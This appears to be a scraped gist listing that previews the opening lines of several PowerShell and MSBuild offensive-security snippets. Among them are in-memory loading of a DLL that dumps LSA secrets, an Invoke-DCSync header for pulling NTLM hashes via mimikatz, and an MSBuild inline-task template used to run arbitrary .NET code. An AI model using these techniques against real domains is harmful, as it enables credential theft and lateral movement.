This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Invoke-HuntEvents { | |
| # Set event ids | |
| $x = "4768,4662,1917,216,8224,20001,106,4720,4732" | |
| # Parse into list | |
| $y = $x.Split(',') | |
| # Look up events |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $allusersstartuP = Invoke-Command -Session (Get-PSSession) -ScriptBlock {Get-childItem "$env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs\StartUp\" | select fullname} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Author: Alexander Leary | |
| #-------------------------------------------------------------------------------- | |
| # Add-ObjectWMI | |
| #-------------------------------------------------------------------------------- | |
| Function local:Add-ObjectWMI{ | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory=$true, Position=0, ValueFromPipeline=$true, | |
| ValueFromPipelineByPropertyName=$true, HelpMessage="Name")] | |
| [string]$Name = "", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This script uses the ActiveDirectory module to enumerate live Windows system on the domain that support WMI/PS Remoting, | |
| # and filters out win7 and 2k3 | |
| # Run on domain system or via 'runas /netonly /user:domain\user powershell.exe' | |
| # Initial DC | |
| $InitialDc = '10.4.222.205' | |
| # Create connection to initial dc | |
| Import-Module ActiveDirectory |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # PowerShellery | |
| # Source: https://github.com/0xbadjuju/TellMeYourSecrets | |
| # Note: This was hacked together for the sake of portability. | |
| # Note: To refresh TellMeYourSecrets.dll do the following: | |
| # $Bytes = [System.IO.File]::ReadAllBytes("C:\temp\TellMeYourSecrets.dll") | |
| # $MyString = [System.Convert]::ToBase64String($Bytes) | |
| # or | |
| # $Bytes = [System.IO.File]::ReadAllBytes("C:\users\istest1\Desktop\TellMeYourSecrets.dll") | |
| # [System.Reflection.Assembly]::Load($Bytes) | |
| # [TellMeYourSecrets.LSA]::DumpLsa() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" > | |
| <Target Name="Hello" > | |
| <!-- Call ANY .NET API --> | |
| <!-- | |
| Author: Casey Smith, Twitter: @subTee | |
| License: BSD 3-Clause | |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Invoke-DCSync | |
| { | |
| <# | |
| .SYNOPSIS | |
| Uses dcsync from mimikatz to collect NTLM hashes from the domain. | |
| Author: @monoxgas | |
| Improved by: @harmj0y |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # DLL bytes as a string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# Questions / todo | |
| #check for namespace privs | |
| #check for reg key privs | |
| #check for dll hijacking due to missing quotes | |
| #check for dll file privs | |
| #check for impersonation - named pipe, token duplication, scheduled task,other? | |
| #identify managed vs unmanaged; native vs custom | |
| # what else? | |
| References |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-Providers | |
| { | |
| Get-WmiObject -NameSpace $ns -Class __Win32Provider | select Name,__PATH, __NAMESPACE, CLSID, AssemblyPath, ImpersonationLevel | | |
| ForEach-Object { | |
| # Check for registery provider | |
| $Check = Get-PSProvider | where name -like registry | where drives -like "*hkcr*" | |
| if($Check -eq ""){ | |
| New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR | |
| } |